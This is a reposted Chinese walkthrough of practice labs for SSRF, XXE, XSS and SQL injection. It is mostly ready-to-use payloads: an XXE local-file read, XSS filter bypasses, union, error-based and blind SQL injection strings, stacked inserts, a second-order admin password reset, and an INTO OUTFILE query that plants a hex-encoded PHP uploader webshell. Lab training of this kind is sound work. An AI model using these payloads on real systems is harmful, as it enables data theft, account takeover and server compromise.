SSRF漏洞靶场
来到SSRF首页
这应该就是file_get_content要包含的文件了
假设我们本地搭建一个1.php文件
然后包含这个文件即可
为什么不是php形式的样子,而是html的形式,因为htmlentities函数把包含进来的转换成html实体了
第二关
输入端口445,账号秘密都是root,然后MySQL服务成功消失了,hh
第三关
这是正常下载
我们要下载D盘下的wenjian.txt,都可以直接下载,想必只要知道文件路径,想下载就下载
第四关
这里我们也是同样远程执行我们的1.php文件,同样被html化
第五关
应用程序不仅实现了内部和私有范围的IP黑名单,还解决了用户提供的域到其IP,并再次执行检查,如果解决是否黑名单。
在这种情况下,基于DNS的欺骗伎俩也将无法访问托管在内部/保留IP上的内容。应用程序代码对其IP执行域解析,并再次对解析后的IP执行黑名单IP检查。
我们简单实现一下
结束
XXE漏洞靶场
登录成功和登录失败的界面
代码也就是说xml文档用的是php协议发送的
假设我们要访问D盘下的1.txt文件
登录抓包,把内容修改成
-
<?xml version="1.0"?>
-
-
<!DOCTYPE Mikasa [
-
-
<!ENTITY hellwork SYSTEM "file:///D:/1.txt">
-
-
]>
-
-
<user>
<username>&hellwork;
</username>
<password>Mikasa
</password>
</user>
Hello work就是我们1.txt的内容已经看到了
结束
XSS漏洞靶场
开始我们的XSS之旅吧!
第一关
直接修改name值改成xss代码即可
第二关
审计元素,看到还有个input影响我们xss弹窗,把它闭合后跟上我们xss代码即可
第三关
后台用了htmlspecialchars函数把尖括号实体化了,所以我们改为不用尖括号的弹窗
' οnmοuseοver='javascript:alert(1)即可
第四关
这次把尖括号过滤了,还用了htmlspecialchars函数
第五关
这次把on过滤了
我们不用on就行了" /> <a href="javascript:alert(1)"/>
点击它即可
第六关
过滤了on,src,data,href等等,可以直接用大小些绕过"/><a Href='javascript:alert(1)'>a</a>//
点击它即可
第七关
这次把script等换为空了
我们可以重复些绕过 "/><ScrscriptipT>alert(1)</ScriscriptPT>//<
第八关
这次关键词被转换成多个下滑线的了
我们把t转换一下编码javascript:alert(1),点击友情链接即可
第九关
这次链接还要有http://不然就不合法
javascript:%0dhttp://www.baidu.com%0dalert(1)
r是Unicode编码,%0d是空格url编码
第十关
这里有个get参数,我们在url中写上参数
?t_sort="type="text" οnmοuseοver="alert(1)
隐藏了参数,问题不大
第十一关
看看源码,输出框好像被隐藏起来了
我们给它加上一个,审计元素,编辑HTML,会出现一个小框,点击它即可
第十二关
我们看到了t_ua的值被隐藏起来了,
直接修改它的值为"type="text" οnclick="alert(1),点击那个新增的框即可
第十三关
这把好像放在t_cook里面去了
审查元素找到t_cook然后把值修改成"type="text" οnclick="alert(1),点击新增的框即可
第十四关
这关通过技巧很简单,看到level14.php没有我们把它修改成level15.php简单通过
Over
第十五关
上面的src接口没有用,
换成https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
它的src值我们给它赋值成src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'即可
既然它说让我们自己想办法走出去我们就调用第一关1的代码
第十六关
看看源码,发现这次还过滤了空格,那我们用%0a也就是换行符代替空格
<img%0asrc="1.jpg"%0aοnerrοr="alert(1)">
第十七关
既然是输出embed标签,我们就改embed标签的值为<embed src=javascript:alert(1)>即可
第十八关
和上一关一样,只不过少了下一关的链接而已,改embed标签即可
第十九关
第二十关
这几关好像差不多,没什么差别。
通关
XSS学习靶场
第一题反射XSS
直接告诉我们payload参数触发了
我们直接在url中添加上代码?payload=<script>alert(/xss/)</script>
第二题
存储xss
上来就是直接弹框1
我们看看源码,看到了函数get_data_from_storage函数调用的xss
修改下,保存刷新页面,成功修改,下一题、下一题
第三关
DOM型xss
可以看到我们输入的值被写进超链接去了,这里只需要闭合下就可以弹窗了
把href里的单引号闭合然后跟上我们的xss代码,然后点击我们的超链接即可弹窗
第四关
local_hash
点击框就会弹出1
审查元素看看,eval执行的
通过
Sql注入靶场
Sql注入练习靶场-1
首先我们先安装数据信息
在sqli1目录下的sql-connections目录下的db-creds.inc的文件中填好自己的数据库账号密码
第一题
源码中有个id参数带进数据库查询了,我们带进url中查询
它直接用单引号把id包裹起来就带进数据库里查询,所以我们闭合一下,构造语句即可查询出我们想要的数据看了' union select 1,database(),user() -- ' LIMIT 0,1
第二关
这次id没有被单引号包裹住,所以直接构造我们的语句就可以了,不用闭合
?id=-1 union select 1,database(),user() -- ' LIMIT 0,1
第三关
这次id加上了括号和单引号,我们也相对应加上括号和单引号即可
1') union select 1,database(),user() -- ' LIMIT 0,1
第四关
看到源码还加了双引号和括号,也对应加上双引号和括号进行闭合就行了
-1") union select 1,database(),user() -- ' LIMIT 0,1
第五关
我们发现不管输入id几都不会显示账号密码,加个单引号出现了错误,既然有错误那我们用报错注入' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+进行注入,爆出数据库
第六关
看看源码,这次和上次就换了个双引号,所以我们也换个双引号即可
第七关
源码这里使用了单引号和双括号,简单构造 一下即可
')) and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
第八关
这次错误被注释了,并且加了单引号
那就是不能用报错注入了
先输入id=1有回显
输入id=100没有回显,所以我们是可以进行布尔型注入的
' and length(database())=8--+判断数据库长度是不是8,有回显就是了
接下来是猜字符
猜解完毕,security
第九关
这次源码说了不管是不是你输入的是什么都回显You are in .....,并且加了单引号
但是我们输入' and sleep(5) --+会发现它一直在转动5秒过后才停止,说明存在盲注
输入1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+
如果它一直在转动说明表的第一个字符是s如果没有转到就不是,猜解和上一关一样
第十关
这关和上一关一样,就是换了个双引号
我们也相对应换上双引号即可
1" and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+
第十一关
登录试试,这应该就是post过去的了
这是加了单引号的
然后就是登录抓包,把uname的值改成' union select database(),user()#&passwd=即可
数据库和用户都出来了
第十二关
这次uname加了个括号,并把单引号改成双引号,相对应的把我们的也修改下即可
第十三关
这次源码加了单引号和括号,既然会报错那我们用updatexml即可
第十四关
这次源码告诉我们,没有单双引号还有报错,跟上一关差不多,稍微修改下代码即可
1admin" and updatexml(1,concat(0x7e,database(),0x7e),1)#
第十五关
看看源码,登录信息,错误信息,查询前加了单引号。都这样了,那就差盲注可以用了
我们把uname修改成admin' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#然后放包
可以看到如果有这个字符的话就会转动了
然后依次把uname换成
admin' and if(ascii(substr(database(),2,2))=ascii('e'),sleep(5),0)#
admin' and if(ascii(substr(database(),3,3))=ascii('c'),sleep(5),0)#
admin' and if(ascii(substr(database(),4,4))=ascii('u'),sleep(5),0)#
admin' and if(ascii(substr(database(),5,5))=ascii('r'),sleep(5),0)#
admin' and if(ascii(substr(database(),6,6))=ascii('i'),sleep(5),0)#
admin' and if(ascii(substr(database(),7,7))=ascii('t'),sleep(5),0)#
admin' and if(ascii(substr(database(),8,8))=ascii('y'),sleep(5),0)#
第十六关
看看源码,加了双引号和括号
我们把上一关的成功代码修改下即可
admin”) and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#
第十七关
Sql语句也修改了,变成update,然后把uname进行了过滤但是passwd没有,我们可以对他进行注入,并且会报错
我们把passwd修改成admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#
第十八关
这次uname和passwd都进行了过滤
但是这里好像多了一条插入语句,
登录进去后发现了IP和User Agent,估计就是插进去了这两个,那我们对这其中一个进行注入即可
第十九关
登录进去发现来源REFERER,看都不看源码一眼我们就知道这是来源注入
我们抓包把来源修改下
成功
第二十关
登录进去看了一下,应该是cookie注入了
刷新页面抓包
把Cookie修改成uname=-admin' union select 1,user(),database()--+
第二十一关
和上一关一样,这次是要把cookie进行解码再放进去查询然后加上了括号,那我们把上一关成功的代码拿去加密下
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
登录进去然后刷新页面抓包改cookie即可
第二十二关
用双引号把它闭合了再加上我们的语句即可
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
第二十三关
这关是闭合单引号就可以了
' union select 1,2,database() '
第二十四关
这关是二次注入,我们先注册一个账号,这账号是没有过滤的,然后再修改密码,因为账号没有过滤所以修改的密码会修改到其他用户那里,导致其他用户的密码被重置。
我们先注册一个账号
账号admin'#密码123
登录进去,修改密码为123456
成功修改,现在admin用户的密码就是123456了,我们试试能不能登录
成功
第二十五关
源码里的or和and过滤了,双写结合大小写绕过用Oorr代替or,AandnD代替and
第二十六关
这次关键字过滤了很多,我们换一批就可以直接绕过
-1'||updatexml(1,concat('~',database(),'~'),3)||'
第二十六a关
我们windows环境下面绕过空格用(但是他是()的闭合 所以只能%a0绕过 但是windowsurl编码转换不了,所以这关环境需要linux
?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
第二十七关
源码这边用了单引号,加上过滤了一些关键字,我们可以用大小些绕过
?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1
第二十八关
这里源码需要闭合简单构造下语句即可,然后关键字还过滤了不少
-1') uniounion selectn select 1,database(),3%23
第二十九关
我们把单引号闭合后面跟上%23也就是注释
第三十关
跟上一关是差不多的,只不过换了个双引号
-1" union select 1,2,database() %23
第三十一关
加了个双引号,还是一样的代码,加上双引号即可
-1")union select 1,user(),database() --+
第三十二关
这里用了addslashes函数会把我们的单引号转义导致不能闭合,但是这里设置成gbk就导致了可以宽字节注入了,%df和%5c(\)会组合出了一个運字从而让单引号逃逸出来
-1%E6' union select 1,version(),database() --+
第三十三题
和这里是一样的,这里还是用上一关的代码直接过关
第三十四关
源码告诉我们是POST过来的所以要抓包改包
admin%E6' union select version(),database()--+
第三十五关
这里没有用单引号包裹住,所以可以直接注入不用闭合
-1 union select 1,version(),database()--+
如题,为什么要关注addslashes呢,没有用单引号包裹住的sql语句用了addslashes也没用
addslashes只转义单引号、双引号、斜杠、NULL
第三十六关
这关好像也是宽字节注入,所以直接构造语句即可
-1%E6' union select 1,version(),database() --+
第三十七关
没有差别的题目,是POST的过来的那我们就改POST包
admin%E6' union select version(),database()--+
第三十八关
这是一题堆叠注入,就是在我们执行完sql语句之后在sql语句分号(;)后面接上我们的语句
-1' union select 1,database(),3;insert into users values(19,'sql','sql')%23
查询完之后再插入我们的SQL语句
可以看到我们的sql语句已经成功插进去了
第三十九关
这关同理,我们只要修改分后后面的语句即可前面直接分号结束
第四十关
这里只是把id加了单引号和括号我们相对应闭合掉即可
1');insert into users values(21,'sqli','sqli')%23
第四十一关
嗯,换了条sql语句啊,相对应也换
1;insert into users values(22,'sqli','sqli')%23
第四十二关
可以看到password是没有用mysqli_real_escape_string函数进行过滤的,那我们登录然后相对应的抓包修改password包即可
1’;insert into users values(23,'sqli','sqli')%23
第四十三关
一样的套路,只是password加多了个括号,相对应的加上
1’);insert into users values(24,'sqli','sqli')%23
第四十四关
1';insert into users values(25,'sqli','sqli')%23
提交上去是没有显示的,我们可以在数据里查找
第四十五关
加了个括号,懂的
1’);insert into users values(24,'sqli','sqli')%23
第四十六关
这关好像有点不一样了吧,开始用ORDER BY结束语句了,Url要换成sort
视觉感觉不一样了啊,语句还是差不多的
1 and updatexml (1, concat(0x7e,database()) ,1)
第四十七关
源码里面多了个单引号,闭合它,再把后面的语句注释掉即可
1' and updatexml (1, concat(0x7e,database()) ,1)--+
第四十八关
这关没有了错误提示,所以不能用报错注入了,但可以用布尔型盲注
1 and if(length(database())=8 ,1,sleep(5))--+
错误的时候它会转到
正确的时候它不会转动
第四十九关
这里只是把id用单引号包裹住了,相对应闭合它
1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
转动了就说明第一个字符是s对应ascii码是115
这次就没有转动,113对应的ascii码是q
第五十关
这次是数字型
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null)
第五十一关
单引号闭合即可
?sort=1' and (ascii(substr((select database()) ,1,1))) = 113 and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
第五十二关
咋感觉又回到了之前的关卡呢
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
第五十三关
sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
第五十四关
就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。
开始了,首先是数据库名称
?id=-1' union select 1,database(),user()--+
然后是表名?id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+
接着就是列名,url中table_name后面跟着的是刚刚爆出来的表名
?id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =8uhf5h9f3k--+
最后取出数据,把group_concat换成直接爆出来的列名后面也要换成表名即可
-1' union select 1,group_concat(secret_SJ8O),group_concat(sessid) from challenges.8uhf5h9f3k
最后把爆出来的一串东西提交上去
第五十五关
数据格式变成id=(1),其他都是一样的
数据库:?id=-1) union select 1,database(),user()--+
表:?id=-1) union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+
列?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='d09q4gshxt' --+
-1) union select 1,group_concat(secret_LUTR),group_concat(sessid) from challenges.d09q4gshxt--+
成功
第五十六
这次id变成括号加单引号了
-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
按照顺序进行即可
第五十七关
没猜错的话按照顺利这次就是双引号了,其他不变
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
按照顺序啊
第五十八关
这关好像不能用union联合注入,那我们用报错注入,并且错误次数只有五次了,错误次数超过五次就会刷新
爆表:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+
爆列:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='hpk0klwybw' )),1)--+
爆值:?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_MTR4) from challenges.hpk0klwybw)),1)--+
输入进去即可
五十九关
这关id没有被单引号或括号包裹
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+
接下来就是顺序了,嗯~
第六十关
Id被双引号和括号包裹了,上闭合
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+
下一关。。
第六十一关
这次双括号加单引号0.0
表:?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='zy3odcjijx'
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_6C64) from challenges.zy3odcjijx)),1)--+
输入进去即可
第六十二关
这关是盲注
key是24位由大小写字母和数字随机组成的值,这里建议大家用脚本把值跑出来
第六十三关
这关跟上一关一样,的唯一区别在于需要使用单引号闭合
不再赘述!
第六十四关
这关跟上一关一样,的唯一区别在于需要使用括号闭合
不再赘述!
第六十五关
这几关性质都一样,只不过闭合语句不同,不再赘述
Sql注入练习靶场2
直接开始
注册页面好像没过滤,那直接注入吧
admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or'
下一关
看看login1.php
源码这里看到直接传进来没有任何过滤
直接构造语句插进Username里就可以
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#
爆出数据库
接着继续看看login2.php
这里同意是没有任何过滤就带进数据库查询了,只是加了个括号
admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#
下一关
Searchproducts.php
搜索下p,可以看到这不就是模糊查询嘛
有报错的话,我们就用爆错注入
p’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#
下一关
这关注册的时候没有过滤好,让单引号进数据库了,后面从数据库查询的时候单引号就会引起作用
admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or'
下一关
好像是我们上一关的注入啊,路过
下一关
错误被注释了,但是有回显
正常页面
错误页面
可以用布尔型盲注' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+
判断数据库第一个字母是不是s如果是沉睡5秒,不是的话就不刷新
' and if(ascii(substr(database(),1,1))=ascii('a'),sleep(5),0) --+
说明数据库第一关字母不是a
下一关
可以用来与操作系统进行交互,包括读取和写入文件等任务。
虽然我们可以用报错注入直接注入,但是这不符合题意,那我们就导入文件吧
admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+
代码如下
-admin' OR 4212=4212 LIMIT 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/www.test.com/sqli2/1.php' LINES TERMINATED BY 0x3c3f706870696628697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b69662870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2246696c6575706c6f61646564223b7d656c73657b6563686f223c666f726d616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e226d6574686f643d504f5354656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e707574747970653d68696464656e6e616d653d4d41585f46494c455f53495a4576616c75653d313030303030303030303e3c623e66696c6575706c6f616465723c2f623e3c62723e3c696e7075746e616d653d66696c65747970653d66696c653e3c62723e746f6469726563746f72793a3c696e707574747970653d746578746e616d653d75706c6f616444697276616c75653d443a70687073747564795f70726f5757577777772e746573742e636f6d73716c69323e3c696e707574747970653d7375626d69746e616d653d75706c6f616476616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e--+
成功导出shell
通过
Sql注入练习靶场3
首先看到的是登录页面,应该是有注入的了
看看源码
没有过滤,这里username是被单引号包裹注的,要闭合
‘or 1 = 1#直接进行登录即可,
登录成功
然后就是搜索这里也有注入
Stockholm' and updatexml (1, concat(0x7e,database()) ,1)--+'
然后源码里面好像还有个安全的源码一模一样的功能
源码里面查询的时候是用pdo绑定参数实现的
结束了
转载:https://blog.csdn.net/xuandao_ahfengren/article/details/105768945